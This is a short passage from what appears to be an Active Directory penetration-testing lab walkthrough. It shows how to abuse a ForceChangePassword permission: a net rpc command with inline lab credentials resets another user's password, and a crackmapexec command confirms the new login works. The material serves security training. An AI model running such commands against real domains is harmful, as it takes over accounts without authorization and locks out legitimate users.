ForceChangePassword on User (Donald-> Hugo)

  • This one should never be done in a pentest (unless the customer is ok with that). You don’t want to block a user during your audit.

  • As Donald.Trump we will change Hugo.Chavez password

net rpc password hugo.chavez -U newyork.local/Donald.Trump%MaKeam3ricaGr3at -S nyc.newyork.local

  • We set the new Donald.Trump password.

  • And verify the password is ok.

crackmapexec smb 192.168.56.10 -u hugo.chavez -d newyork.local -p 123456
PreviousACL With BloodHoundNextGenericWrite on User (Hugo -> Ramon)

Last updated